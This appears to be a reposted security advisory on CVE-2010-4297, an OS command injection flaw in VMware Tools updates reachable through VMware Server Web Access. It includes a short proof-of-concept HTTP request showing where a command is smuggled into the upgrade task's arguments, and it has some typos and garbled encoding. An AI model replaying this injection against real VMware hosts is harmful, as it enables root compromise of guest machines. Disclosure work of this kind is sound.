VMware is a virtual PC software that allows two or more Windows, DOS, and LINUX systems to run simultaneously on one machine. VMware Tools is a set of utilities provided by WMware. It can improve the performance of virtual machine operating systems and manage virtual machines. VMware Tools has the OS command injection vulnerability, which may lead to elevation of permissions.
[+] Info:
~~~~~~~~~
VMware Tools update OS Command Injection
Advisory ID: BONSAI-2010-0110
Date published: Thu Dec 9, 2010
Vendors contacted: VMware
Release mode: Coordinated release
Ulnerability Information
Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2010-4297
[+] Poc:
~~~~~~~~~
OS Command Injection-PoC Example
CVSSv2 Score: 8.5 (AV: N/AC: M/Au: S/C: C/I: C/A: C)
VMware Server Infrastructure Web Access is prone to remote command
Execution vulnerability because the software fails to adequately
Sanitize user-supplied input.
When Updating the VMTools on a certain Guest Virtual Machine, a command
Injection attack can be executed if specially crafted parameters are sent.
Successful attacks can compromise the affected Guest Virtual Machine
With root privileges.
The following proof of concept is given. It was exploited in a GNU/Linux
Guest with VMware Tools installed but not fully updated:
POST/ui/sb HTTP/1.1
[…]
Cookie: JSESSIONID = f78cca7dd3cf4e2e82587b2da-60c9ed; user_name = vmuser;
L = http % 3A % 2F % 2 Flocalhost % 3A80% 2 Fsdk
[…]
[{I: "378", exec: "/cmd/vm", args: ["upgrad1_ls_task", {_ I: "VirtualMachine | 960 "},";
Injected command here; "]}]
[+] Reference:
~~~~~~~~~
Http://www.bonsai-sec.com/en/research/vulnerability.php
Http://www.bonsai-sec.com/en/research/vulnerabilities/vmware-tools-os-command-injection-0110.php